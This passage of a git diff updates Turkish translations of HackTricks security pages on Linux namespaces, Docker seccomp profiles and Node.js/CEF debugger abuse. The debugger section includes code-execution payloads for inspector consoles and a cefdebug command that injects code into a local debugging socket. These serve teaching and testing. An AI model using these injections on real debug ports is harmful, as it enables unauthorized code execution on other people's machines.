(varsayılan) PID ad alanından tüm süreçleri görebileceğini, hatta yeni PID ad alanlarındaki süreçleri bile görebileceğini unutmayın, bu yüzden tüm PID ad alanlarını görebiliyoruz. +Kök kullanıcısının başlangıç (varsayılan) PID ad alanından tüm süreçleri görebildiğini, hatta yeni PID ad alanlarındaki süreçleri bile görebildiğini unutmayın, bu yüzden tüm PID ad alanlarını görebiliyoruz. ### Bir PID ad alanına girin ```bash diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md index 440e01724..e75924d7a 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md @@ -1,14 +1,14 @@ -# Zaman Ad Alanı +# Zaman Adnamesi {{#include ../../../../banners/hacktricks-training.md}} ## Temel Bilgiler -Linux'taki zaman ad alanı, sistemin monotonik ve önyükleme zamanı saatlerine göre ad alanı başına kaydırmalar sağlar. Genellikle Linux konteynerlerinde, bir konteyner içindeki tarih/saatin değiştirilmesi ve bir kontrol noktasından veya anlık görüntüden geri yüklendikten sonra saatlerin ayarlanması için kullanılır. +Linux'taki zaman adnamesi, sistemin monotonik ve önyükleme zamanı saatlerine göre adname başına kaydırmalar sağlar. Genellikle Linux konteynerlerinde, bir konteyner içindeki tarih/saatin değiştirilmesi ve bir kontrol noktasından veya anlık görüntüden geri yüklendikten sonra saatlerin ayarlanması için kullanılır. ## Laboratuvar: -### Farklı Ad Alanları Oluşturma +### Farklı Adnameler Oluşturma #### CLI ```bash @@ -30,7 +30,7 @@ Yeni bir `/proc` dosya sisteminin örneğini `--mount-proc` parametresi ile mont 2. **Sonuç**: -- Yeni bir ad alanındaki PID 1'in çıkışı, `PIDNS_HASH_ADDING` bayrağının temizlenmesine yol açar. Bu, yeni bir süreç oluşturulurken `alloc_pid` fonksiyonunun yeni bir PID tahsis edememesine neden olur ve "Bellek tahsis edilemiyor" hatasını üretir. +- Yeni bir ad alanındaki PID 1'in çıkışı, `PIDNS_HASH_ADDING` bayrağının temizlenmesine yol açar. Bu, yeni bir süreç oluştururken `alloc_pid` fonksiyonunun yeni bir PID tahsis edememesine neden olur ve "Bellek tahsis edilemiyor" hatasını üretir. 3. **Çözüm**: - Sorun, `unshare` ile `-f` seçeneğini kullanarak çözülebilir. Bu seçenek, `unshare`'in yeni PID ad alanını oluşturduktan sonra yeni bir süreç fork etmesini sağlar. diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md index 580bfc281..a2937dc76 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md @@ -4,16 +4,16 @@ ## Temel Bilgiler -Kullanıcı ad alanı, **kullanıcı ve grup ID eşlemelerinin izolasyonunu sağlayan** bir Linux çekirdek özelliğidir ve her kullanıcı ad alanının **kendi kullanıcı ve grup ID setine** sahip olmasına olanak tanır. Bu izolasyon, farklı kullanıcı ad alanlarında çalışan süreçlerin **farklı ayrıcalıklara ve sahipliğe** sahip olmasını sağlar, bu süreçler aynı kullanıcı ve grup ID'lerini sayısal olarak paylaşsalar bile. +Kullanıcı ad alanı, **kullanıcı ve grup kimlik eşlemelerinin izolasyonunu sağlayan** bir Linux çekirdek özelliğidir ve her kullanıcı ad alanının **kendi kullanıcı ve grup kimlikleri setine** sahip olmasına olanak tanır. Bu izolasyon, farklı kullanıcı ad alanlarında çalışan süreçlerin **farklı ayrıcalıklara ve sahipliğe** sahip olmasını sağlar, hatta aynı kullanıcı ve grup kimliklerini sayısal olarak paylaşsalar bile. -Kullanıcı ad alanları, her bir konteynerin kendi bağımsız kullanıcı ve grup ID setine sahip olması gereken konteynerleştirmede özellikle faydalıdır ve bu, konteynerler ile ana sistem arasında daha iyi güvenlik ve izolasyon sağlar. +Kullanıcı ad alanları, her bir konteynerin kendi bağımsız kullanıcı ve grup kimlikleri setine sahip olması gereken konteynerleştirmede özellikle faydalıdır ve bu, konteynerler ile ana sistem arasında daha iyi güvenlik ve izolasyon sağlar. ### Nasıl çalışır: -1. Yeni bir kullanıcı ad alanı oluşturulduğunda, **kullanıcı ve grup ID eşlemeleri için boş bir setle başlar**. Bu, yeni kullanıcı ad alanında çalışan herhangi bir sürecin **başlangıçta ad alanının dışındaki ayrıcalıklara sahip olmayacağı** anlamına gelir. -2. Yeni ad alanındaki kullanıcı ve grup ID'leri ile ana (veya ev sahibi) ad alanındaki ID'ler arasında eşlemeler kurulabilir. Bu, **yeni ad alanındaki süreçlerin ana ad alanındaki kullanıcı ve grup ID'lerine karşılık gelen ayrıcalıklara ve sahipliğe sahip olmasına olanak tanır**. Ancak, ID eşlemeleri belirli aralıklar ve ID alt kümeleri ile kısıtlanabilir, bu da yeni ad alanındaki süreçlere verilen ayrıcalıklar üzerinde ince ayar kontrolü sağlar. +1. Yeni bir kullanıcı ad alanı oluşturulduğunda, **kullanıcı ve grup kimlik eşlemeleri için boş bir setle başlar**. Bu, yeni kullanıcı ad alanında çalışan herhangi bir sürecin **başlangıçta ad alanının dışındaki ayrıcalıklara sahip olmayacağı** anlamına gelir. +2. Yeni ad alanındaki kullanıcı ve grup kimlikleri ile ana (veya host) ad alanındaki kimlikler arasında eşlemeler kurulabilir. Bu, **yeni ad alanındaki süreçlerin ana ad alanındaki kullanıcı ve grup kimliklerine karşılık gelen ayrıcalıklara ve sahipliğe sahip olmasına olanak tanır**. Ancak, kimlik eşlemeleri belirli aralıklar ve alt kümelerle sınırlı tutulabilir, bu da yeni ad alanındaki süreçlere verilen ayrıcalıklar üzerinde ince ayar yapma imkanı sağlar. 3. Bir kullanıcı ad alanı içinde, **süreçler ad alanı içindeki işlemler için tam kök ayrıcalıklarına (UID 0) sahip olabilir**, aynı zamanda ad alanının dışındaki ayrıcalıkları sınırlı kalır. Bu, **konteynerlerin kendi ad alanlarında kök benzeri yeteneklerle çalışmasına olanak tanırken, ana sistemde tam kök ayrıcalıklarına sahip olmalarını engeller**. -4. Süreçler, `setns()` sistem çağrısını kullanarak ad alanları arasında geçiş yapabilir veya `CLONE_NEWUSER` bayrağı ile `unshare()` veya `clone()` sistem çağrılarını kullanarak yeni ad alanları oluşturabilir. Bir süreç yeni bir ad alanına geçtiğinde veya bir tane oluşturduğunda, o ad alanıyla ilişkili kullanıcı ve grup ID eşlemelerini kullanmaya başlayacaktır. +4. Süreçler, `setns()` sistem çağrısını kullanarak ad alanları arasında geçiş yapabilir veya `CLONE_NEWUSER` bayrağı ile `unshare()` veya `clone()` sistem çağrılarını kullanarak yeni ad alanları oluşturabilir. Bir süreç yeni bir ad alanına geçtiğinde veya bir tane oluşturduğunda, o ad alanıyla ilişkili kullanıcı ve grup kimlik eşlemelerini kullanmaya başlayacaktır. ## Laboratuvar: @@ -80,7 +80,7 @@ sudo find /proc -maxdepth 3 -type l -name user -exec ls -l {} \; 2>/dev/null | ```bash nsenter -U TARGET_PID --pid /bin/bash ``` -Ayrıca, yalnızca **root iseniz başka bir işlem ad alanına girebilirsiniz**. Ve **başka bir ad alanına** **giremezsiniz** **onu işaret eden bir tanımlayıcı olmadan** (örneğin `/proc/self/ns/user`). +Ayrıca, yalnızca **root iseniz başka bir işlem ad alanına girebilirsiniz**. Ve **giremezsiniz** **başka bir ad alanına** **onu işaret eden bir tanımlayıcı olmadan** (örneğin `/proc/self/ns/user`). ### Yeni Kullanıcı ad alanı oluşturun (eşlemelerle) ```bash @@ -103,7 +103,7 @@ Kullanıcı ad alanları durumunda, **yeni bir kullanıcı ad alanı oluşturuld Örneğin, bir kullanıcı ad alanında `CAP_SYS_ADMIN` yeteneğine sahip olduğunuzda, genellikle bu yeteneği gerektiren işlemleri gerçekleştirebilirsiniz, örneğin dosya sistemlerini bağlama, ancak yalnızca kendi kullanıcı ad alanı bağlamında. Bu yetenekle gerçekleştirdiğiniz herhangi bir işlem, ana sistem veya diğer ad alanlarını etkilemeyecektir. > [!WARNING] -> Bu nedenle, yeni bir Kullanıcı ad alanında yeni bir işlem almak **size tüm yetenekleri geri verecektir** (CapEff: 000001ffffffffff), aslında **yalnızca ad alanıyla ilgili olanları kullanabilirsiniz** (örneğin bağlama) ama hepsini değil. Bu nedenle, bu kendi başına bir Docker konteynerinden kaçmak için yeterli değildir. +> Bu nedenle, yeni bir Kullanıcı ad alanında yeni bir işlem almak **size tüm yeteneklerinizi geri verecektir** (CapEff: 000001ffffffffff), aslında **yalnızca ad alanıyla ilgili olanları kullanabilirsiniz** (örneğin bağlama) ama hepsini değil. Bu nedenle, bu kendi başına bir Docker konteynerinden kaçmak için yeterli değildir. ```bash # There are the syscalls that are filtered after changing User namespace with: unshare -UmCpf bash diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md index 51e98ff4c..fb80f2c37 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md @@ -4,11 +4,11 @@ ## Temel Bilgiler -UTS (UNIX Zaman Paylaşım Sistemi) ad alanı, iki sistem tanımlayıcısının **izolasyonunu** sağlayan bir Linux çekirdek özelliğidir: **hostname** ve **NIS** (Ağ Bilgi Servisi) alan adı. Bu izolasyon, her UTS ad alanının **kendi bağımsız hostname ve NIS alan adına** sahip olmasına olanak tanır; bu, her bir konteynerin kendi hostname'i ile ayrı bir sistem olarak görünmesi gereken konteynerleştirme senaryolarında özellikle faydalıdır. +UTS (UNIX Zaman Paylaşım Sistemi) ad alanı, iki sistem tanımlayıcısının **izolasyonunu** sağlayan bir Linux çekirdek özelliğidir: **hostname** ve **NIS** (Ağ Bilgi Servisi) alan adı. Bu izolasyon, her UTS ad alanının **kendi bağımsız hostname ve NIS alan adı** olmasına olanak tanır; bu, her bir konteynerin kendi hostname'i ile ayrı bir sistem olarak görünmesi gereken konteynerleştirme senaryolarında özellikle faydalıdır. ### Nasıl çalışır: -1. Yeni bir UTS ad alanı oluşturulduğunda, **ebeveyn ad alanından hostname ve NIS alan adının bir kopyasıyla** başlar. Bu, oluşturulduğunda yeni ad alanının **ebeveyniyle aynı tanımlayıcıları paylaştığı** anlamına gelir. Ancak, ad alanı içindeki hostname veya NIS alan adı üzerindeki sonraki değişiklikler diğer ad alanlarını etkilemeyecektir. +1. Yeni bir UTS ad alanı oluşturulduğunda, **ebeveyn ad alanından hostname ve NIS alan adının bir kopyasıyla başlar**. Bu, oluşturulduğunda yeni ad alanının **ebeveyniyle aynı tanımlayıcıları paylaştığı** anlamına gelir. Ancak, ad alanı içindeki hostname veya NIS alan adı üzerindeki sonraki değişiklikler diğer ad alanlarını etkilemeyecektir. 2. UTS ad alanı içindeki süreçler, sırasıyla `sethostname()` ve `setdomainname()` sistem çağrılarını kullanarak **hostname ve NIS alan adını değiştirebilir**. Bu değişiklikler ad alanına özgüdür ve diğer ad alanlarını veya ana sistemini etkilemez. 3. Süreçler, `setns()` sistem çağrısını kullanarak ad alanları arasında geçiş yapabilir veya `CLONE_NEWUTS` bayrağı ile `unshare()` veya `clone()` sistem çağrılarını kullanarak yeni ad alanları oluşturabilir. Bir süreç yeni bir ad alanına geçtiğinde veya bir tane oluşturduğunda, o ad alanıyla ilişkili hostname ve NIS alan adını kullanmaya başlayacaktır. @@ -20,7 +20,7 @@ UTS (UNIX Zaman Paylaşım Sistemi) ad alanı, iki sistem tanımlayıcısının ```bash sudo unshare -u [--mount-proc] /bin/bash ``` -Yeni bir `/proc` dosya sisteminin örneğini monte ederek `--mount-proc` parametresini kullanırsanız, yeni montaj ad alanının **o ad alanına özgü süreç bilgilerini doğru ve izole bir şekilde görmesini** sağlarsınız. +Yeni bir `/proc` dosya sisteminin örneğini `--mount-proc` parametresi ile monte ederek, yeni montaj ad alanının **o ad alanına özgü süreç bilgilerini doğru ve izole bir şekilde görmesini** sağlarsınız.
@@ -28,7 +28,7 @@ Yeni bir `/proc` dosya sisteminin örneğini monte ederek `--mount-proc` paramet `unshare` komutu `-f` seçeneği olmadan çalıştırıldığında, Linux'un yeni PID (Process ID) ad alanlarını nasıl yönettiği nedeniyle bir hata ile karşılaşılır. Anahtar detaylar ve çözüm aşağıda özetlenmiştir: -1. **Problem Açıklaması**: +1. **Sorun Açıklaması**: - Linux çekirdeği, bir sürecin `unshare` sistem çağrısını kullanarak yeni ad alanları oluşturmasına izin verir. Ancak, yeni bir PID ad alanı oluşturma işlemini başlatan süreç (bu süreç "unshare" süreci olarak adlandırılır) yeni ad alanına girmez; yalnızca onun çocuk süreçleri girer. - `%unshare -p /bin/bash%` komutu, `/bin/bash`'i `unshare` ile aynı süreçte başlatır. Sonuç olarak, `/bin/bash` ve onun çocuk süreçleri orijinal PID ad alanındadır. @@ -40,7 +40,7 @@ Yeni bir `/proc` dosya sisteminin örneğini monte ederek `--mount-proc` paramet 3. **Çözüm**: - Sorun, `unshare` ile `-f` seçeneğini kullanarak çözülebilir. Bu seçenek, `unshare`'in yeni PID ad alanını oluşturduktan sonra yeni bir süreç fork etmesini sağlar. -- `%unshare -fp /bin/bash%` komutunu çalıştırmak, `unshare` komutunun kendisinin yeni ad alanında PID 1 olmasını sağlar. `/bin/bash` ve onun çocuk süreçleri bu yeni ad alanında güvenli bir şekilde yer alır, PID 1'in erken çıkışını önler ve normal PID tahsisine izin verir. +- `%unshare -fp /bin/bash%` komutunu çalıştırmak, `unshare` komutunun kendisinin yeni ad alanında PID 1 olmasını sağlar. `/bin/bash` ve onun çocuk süreçleri, bu yeni ad alanında güvenli bir şekilde yer alır, PID 1'in erken çıkışını önler ve normal PID tahsisine izin verir. `unshare`'in `-f` bayrağı ile çalıştığından emin olarak, yeni PID ad alanı doğru bir şekilde korunur ve `/bin/bash` ile alt süreçleri bellek tahsis hatası ile karşılaşmadan çalışabilir. diff --git a/src/linux-hardening/privilege-escalation/docker-security/seccomp.md b/src/linux-hardening/privilege-escalation/docker-security/seccomp.md index 9a81d8597..004847c48 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/seccomp.md +++ b/src/linux-hardening/privilege-escalation/docker-security/seccomp.md @@ -4,15 +4,15 @@ ## Temel Bilgiler -**Seccomp**, Güvenli Hesaplama modu anlamına gelir, **sistem çağrılarını filtrelemek için tasarlanmış bir Linux çekirdek güvenlik özelliğidir**. Bu, süreçleri sınırlı bir sistem çağrısı setiyle (`exit()`, `sigreturn()`, `read()`, ve `write()` için zaten açık dosya tanımlayıcıları) kısıtlar. Eğer bir süreç başka bir şeyi çağırmaya çalışırsa, çekirdek tarafından SIGKILL veya SIGSYS ile sonlandırılır. Bu mekanizma kaynakları sanallaştırmaz, ancak süreci onlardan izole eder. +**Seccomp**, Güvenli Hesaplama modu anlamına gelir, **sistem çağrılarını filtrelemek için tasarlanmış bir Linux çekirdek güvenlik özelliğidir**. Süreçleri sınırlı bir sistem çağrısı setiyle (`exit()`, `sigreturn()`, `read()`, ve `write()` için zaten açık dosya tanımlayıcıları) kısıtlar. Eğer bir süreç başka bir şeyi çağırmaya çalışırsa, çekirdek tarafından SIGKILL veya SIGSYS ile sonlandırılır. Bu mekanizma kaynakları sanallaştırmaz, ancak süreci onlardan izole eder. -Seccomp'ı etkinleştirmenin iki yolu vardır: `PR_SET_SECCOMP` ile `prctl(2)` sistem çağrısı veya Linux çekirdekleri 3.17 ve üzeri için `seccomp(2)` sistem çağrısı. `/proc/self/seccomp` dosyasına yazarak seccomp'ı etkinleştirmenin eski yöntemi, `prctl()` lehine kullanımdan kaldırılmıştır. +Seccomp'u etkinleştirmenin iki yolu vardır: `PR_SET_SECCOMP` ile `prctl(2)` sistem çağrısı veya Linux çekirdekleri 3.17 ve üzeri için `seccomp(2)` sistem çağrısı. `/proc/self/seccomp` dosyasına yazarak seccomp'u etkinleştirmenin eski yöntemi, `prctl()` lehine kullanımdan kaldırılmıştır. -Bir geliştirme olan **seccomp-bpf**, özelleştirilebilir bir politika ile sistem çağrılarını filtreleme yeteneği ekler ve Berkeley Paket Filtreleme (BPF) kurallarını kullanır. Bu uzantı, OpenSSH, vsftpd ve Chrome OS ile Linux'taki Chrome/Chromium tarayıcıları gibi yazılımlar tarafından esnek ve verimli syscall filtrelemesi için kullanılmaktadır ve artık desteklenmeyen systrace için bir alternatif sunmaktadır. +Bir geliştirme olan **seccomp-bpf**, özelleştirilebilir bir politika ile sistem çağrılarını filtreleme yeteneği ekler ve Berkeley Paket Filtreleme (BPF) kurallarını kullanır. Bu uzantı, OpenSSH, vsftpd ve Chrome OS ile Linux'taki Chrome/Chromium tarayıcıları gibi yazılımlar tarafından esnek ve verimli sistem çağrısı filtrelemesi için kullanılmaktadır ve artık desteklenmeyen systrace için bir alternatif sunmaktadır. ### **Orijinal/Sıkı Mod** -Bu modda Seccomp **yalnızca şu sistem çağrılarına izin verir**: `exit()`, `sigreturn()`, `read()` ve `write()` için zaten açık dosya tanımlayıcıları. Eğer başka bir sistem çağrısı yapılırsa, süreç SIGKILL ile öldürülür. +Bu modda Seccomp **yalnızca sistem çağrılarına** `exit()`, `sigreturn()`, `read()` ve `write()` için zaten açık dosya tanımlayıcılarına izin verir. Eğer başka bir sistem çağrısı yapılırsa, süreç SIGKILL ile öldürülür. ```c:seccomp_strict.c #include #include @@ -104,14 +104,14 @@ docker run --rm \ --security-opt seccomp=/path/to/seccomp/profile.json \ hello-world ``` -Eğer bir konteynerin bazı **syscall**'leri, örneğin `uname`'i çalıştırmasını **yasaklamak** istiyorsanız, [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) adresinden varsayılan profili indirebilir ve sadece **listeden `uname` dizesini kaldırabilirsiniz**.\ +Eğer bir konteynerin bazı **syscall**'leri, örneğin `uname`'i çalıştırmasını **yasaklamak** istiyorsanız, [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) adresinden varsayılan profili indirebilir ve sadece **listeye `uname` dizesini kaldırabilirsiniz**.\ Eğer **bir ikili dosyanın bir docker konteyneri içinde çalışmadığından emin olmak** istiyorsanız, ikili dosyanın kullandığı syscalls'ları listelemek için strace kullanabilir ve ardından bunları yasaklayabilirsiniz.\ -Aşağıdaki örnekte `uname`'in **syscall**'leri keşfedilmektedir: +Aşağıdaki örnekte `uname`'in **syscalls**'ları keşfedilmektedir: ```bash docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname ``` > [!NOTE] -> Eğer **Docker'ı sadece bir uygulamayı başlatmak için kullanıyorsanız**, onu **`strace`** ile **profil oluşturabilir** ve ihtiyaç duyduğu sistem çağrılarına **sadece izin verebilirsiniz.** +> Eğer **Docker'ı sadece bir uygulamayı başlatmak için kullanıyorsanız**, onu **`strace`** ile **profilleyebilir** ve ihtiyaç duyduğu sistem çağrılarına **sadece izin verebilirsiniz.** ### Örnek Seccomp politikası @@ -135,7 +135,7 @@ Aşağıdaki çıktı, "chmod" çağrısının, seccomp profilinde devre dışı $ docker run --rm -it --security-opt seccomp:/home/smakam14/seccomp/profile.json busybox chmod 400 /etc/hosts chmod: /etc/hosts: Operation not permitted ``` -Aşağıdaki çıktı, profilin görüntülenmesi için “docker inspect” komutunu göstermektedir: +Aşağıdaki çıktı, profilin görüntülenmesini sağlayan “docker inspect” komutunu göstermektedir: ```json "SecurityOpt": [ "seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}" diff --git a/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md b/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md index 1aa065326..5b8c9eca8 100644 --- a/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md +++ b/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md @@ -2,17 +2,16 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -[From the docs](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): When started with the `--inspect` switch, a Node.js process listens for a debugging client. By **default**, it will listen at host and port **`127.0.0.1:9229`**. Each process is also assigned a **unique** **UUID**. +[Belgelerden](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): `--inspect` anahtarı ile başlatıldığında, bir Node.js süreci bir hata ayıklama istemcisi için dinler. **Varsayılan olarak**, **`127.0.0.1:9229`** adresinde ve portta dinleyecektir. Her sürece de **benzersiz** bir **UUID** atanır. -Inspector clients must know and specify host address, port, and UUID to connect. A full URL will look something like `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`. +İnspektör istemcileri, bağlanmak için host adresini, portu ve UUID'yi bilmek ve belirtmek zorundadır. Tam bir URL şu şekilde görünecektir: `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`. > [!WARNING] -> Since the **debugger has full access to the Node.js execution environment**, a malicious actor able to connect to this port may be able to execute arbitrary code on behalf of the Node.js process (**potential privilege escalation**). - -There are several ways to start an inspector: +> **Hata ayıklayıcı, Node.js yürütme ortamına tam erişime sahip olduğundan**, bu porta bağlanabilen kötü niyetli bir aktör, Node.js süreci adına rastgele kod çalıştırabilir (**potansiyel ayrıcalık yükseltme**). +Bir inspektörü başlatmanın birkaç yolu vardır: ```bash node --inspect app.js #Will run the inspector in port 9229 node --inspect=4444 app.js #Will run the inspector in port 4444 @@ -23,58 +22,48 @@ node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and po node --inspect --inspect-port=0 app.js #Will run the inspector in a random port # Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector ``` - -When you start an inspected process something like this will appear: - +Bir denetlenen işlem başlattığınızda, şöyle bir şey görünecektir: ``` Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d For help, see: https://nodejs.org/en/docs/inspector ``` +**CEF** (**Chromium Embedded Framework**) tabanlı süreçler, **debugger**'ı açmak için `--remote-debugging-port=9222` parametresini kullanmalıdır (SSRF korumaları çok benzer kalır). Ancak, **NodeJS** **debug** oturumu vermek yerine, tarayıcı ile [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) aracılığıyla iletişim kuracaklardır; bu, tarayıcıyı kontrol etmek için bir arayüzdür, ancak doğrudan bir RCE yoktur. -Processes based on **CEF** (**Chromium Embedded Framework**) like need to use the param: `--remote-debugging-port=9222` to open de **debugger** (the SSRF protections remain very similar). However, they **instead** of granting a **NodeJS** **debug** session will communicate with the browser using the [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), this is an interface to control the browser, but there isn't a direct RCE. - -When you start a debugged browser something like this will appear: - +Bir hata ayıklama tarayıcısı başlattığınızda, şöyle bir şey görünecektir: ``` DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369 ``` +### Tarayıcılar, WebSocket'ler ve aynı köken politikası -### Browsers, WebSockets and same-origin policy - -Websites open in a web-browser can make WebSocket and HTTP requests under the browser security model. An **initial HTTP connection** is necessary to **obtain a unique debugger session id**. The **same-origin-policy** **prevents** websites from being able to make **this HTTP connection**. For additional security against [**DNS rebinding attacks**](https://en.wikipedia.org/wiki/DNS_rebinding)**,** Node.js verifies that the **'Host' headers** for the connection either specify an **IP address** or **`localhost`** or **`localhost6`** precisely. +Bir web tarayıcısında açılan web siteleri, tarayıcı güvenlik modeli altında WebSocket ve HTTP istekleri yapabilir. **Benzersiz bir hata ayıklayıcı oturum kimliği elde etmek için** **ilk bir HTTP bağlantısı** gereklidir. **Aynı köken politikası**, web sitelerinin **bu HTTP bağlantısını** yapmasını **engeller**. [**DNS yeniden bağlama saldırılarına**](https://en.wikipedia.org/wiki/DNS_rebinding)** karşı ek güvenlik için,** Node.js, bağlantı için **'Host' başlıklarının** ya bir **IP adresi** ya da tam olarak **`localhost`** veya **`localhost6`** belirtip belirtmediğini doğrular. > [!NOTE] -> This **security measures prevents exploiting the inspector** to run code by **just sending a HTTP request** (which could be done exploiting a SSRF vuln). +> Bu **güvenlik önlemleri, sadece bir HTTP isteği göndererek** kod çalıştırmak için **denetleyiciyi istismar etmeyi** engeller (bu, bir SSRF açığını istismar ederek yapılabilir). -### Starting inspector in running processes - -You can send the **signal SIGUSR1** to a running nodejs process to make it **start the inspector** in the default port. However, note that you need to have enough privileges, so this might grant you **privileged access to information inside the process** but no a direct privilege escalation. +### Çalışan süreçlerde denetleyiciyi başlatma +Çalışan bir nodejs sürecine **SIGUSR1 sinyalini** göndererek, **denetleyiciyi** varsayılan portta **başlatmasını** sağlayabilirsiniz. Ancak, yeterli ayrıcalıklara sahip olmanız gerektiğini unutmayın, bu nedenle bu, size **süreç içindeki bilgilere ayrıcalıklı erişim** sağlayabilir ancak doğrudan bir ayrıcalık yükseltmesi sağlamaz. ```bash kill -s SIGUSR1 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d ``` - > [!NOTE] -> This is useful in containers because **shutting down the process and starting a new one** with `--inspect` is **not an option** because the **container** will be **killed** with the process. +> Bu, konteynerlerde **süreci kapatıp yeni bir tane başlatmak** `--inspect` ile **bir seçenek değildir** çünkü **konteyner** süreçle birlikte **öldürülecektir**. -### Connect to inspector/debugger +### Denetleyiciye/hata ayıklayıcıya bağlanın -To connect to a **Chromium-based browser**, the `chrome://inspect` or `edge://inspect` URLs can be accessed for Chrome or Edge, respectively. By clicking the Configure button, it should be ensured that the **target host and port** are correctly listed. The image shows a Remote Code Execution (RCE) example: +**Chromium tabanlı bir tarayıcıya** bağlanmak için, Chrome veya Edge için sırasıyla `chrome://inspect` veya `edge://inspect` URL'leri erişilebilir. Yapılandırma düğmesine tıklanarak **hedef ana bilgisayar ve portun** doğru bir şekilde listelendiğinden emin olunmalıdır. Görüntü, Uzaktan Kod Yürütme (RCE) örneğini göstermektedir: ![](<../../images/image (674).png>) -Using the **command line** you can connect to a debugger/inspector with: - +**Komut satırı** kullanarak bir hata ayıklayıcıya/denetleyiciye şu şekilde bağlanabilirsiniz: ```bash node inspect : node inspect 127.0.0.1:9229 # RCE example from debug console debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')") ``` - -The tool [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug), allows to **find inspectors** running locally and **inject code** into them. - +Araç [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug), yerel olarak çalışan **denetleyicileri bulmayı** ve onlara **kod enjekte etmeyi** sağlar. ```bash #List possible vulnerable sockets ./cefdebug.exe @@ -83,76 +72,67 @@ The tool [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefd #Exploit it ./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')" ``` +> [!NOTE] +> **NodeJS RCE istismarları**, [**Chrome DevTools Protokolü**](https://chromedevtools.github.io/devtools-protocol/) aracılığıyla bir tarayıcıya bağlı olduğunda **çalışmayacaktır** (onunla yapacak ilginç şeyler bulmak için API'yi kontrol etmeniz gerekir). + +## NodeJS Hata Ayıklayıcı/Denetleyici'de RCE > [!NOTE] -> Note that **NodeJS RCE exploits won't work** if connected to a browser via [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (you need to check the API to find interesting things to do with it). - -## RCE in NodeJS Debugger/Inspector - -> [!NOTE] -> If you came here looking how to get [**RCE from a XSS in Electron please check this page.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) - -Some common ways to obtain **RCE** when you can **connect** to a Node **inspector** is using something like (looks that this **won't work in a connection to Chrome DevTools protocol**): +> Eğer buraya [**Electron'da bir XSS'den RCE nasıl alınır**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) diye bakmak için geldiyseniz, lütfen bu sayfayı kontrol edin. +Node **denetleyici**'ye **bağlandığınızda** **RCE** elde etmenin bazı yaygın yolları, (bu **Chrome DevTools protokolüne bağlantıda çalışmayacak gibi görünüyor**): ```javascript process.mainModule.require("child_process").exec("calc") window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe") require("child_process").spawnSync("calc.exe") Browser.open(JSON.stringify({ url: "c:\\windows\\system32\\calc.exe" })) ``` +## Chrome DevTools Protokol Yükleri -## Chrome DevTools Protocol Payloads +API'yi burada kontrol edebilirsiniz: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\ +Bu bölümde, insanların bu protokolü istismar etmek için kullandığı ilginç şeyleri listeleyeceğim. -You can check the API here: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\ -In this section I will just list interesting things I find people have used to exploit this protocol. +### Derin Bağlantılar Üzerinden Parametre Enjeksiyonu -### Parameter Injection via Deep Links +[**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino güvenliği, CEF tabanlı bir uygulamanın sistemde **özel bir URI** (workspaces://) kaydettiğini ve tam URI'yi alarak **CEF tabanlı uygulamayı** bu URI'den kısmen yapılandırılmış bir konfigürasyonla başlattığını keşfetti. -In the [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino security discovered that an application based on CEF **registered a custom UR**I in the system (workspaces://) that received the full URI and then **launched the 